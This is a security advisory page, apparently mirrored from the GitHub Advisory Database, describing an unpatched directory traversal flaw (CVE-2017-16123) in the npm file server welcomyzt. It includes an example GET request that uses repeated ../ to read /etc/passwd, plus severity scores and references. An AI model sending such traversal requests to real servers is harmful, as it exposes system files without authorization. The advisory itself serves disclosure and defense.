Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThmdjctdm0ycC01NDk1

Directory Traversal in welcomyzt

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Permalink: https://github.com/advisories/GHSA-8fv7-vm2p-5495
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThmdjctdm0ycC01NDk1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 4 years ago
Updated: over 1 year ago

CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS Percentage: 0.00651
EPSS Percentile: 0.79511

Identifiers: GHSA-8fv7-vm2p-5495, CVE-2017-16123
References:

• https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket
• https://www.npmjs.com/advisories/388
• https://nvd.nist.gov/vuln/detail/CVE-2017-16123
• https://github.com/advisories/GHSA-8fv7-vm2p-5495

Blast Radius: 0.0

Affected Packages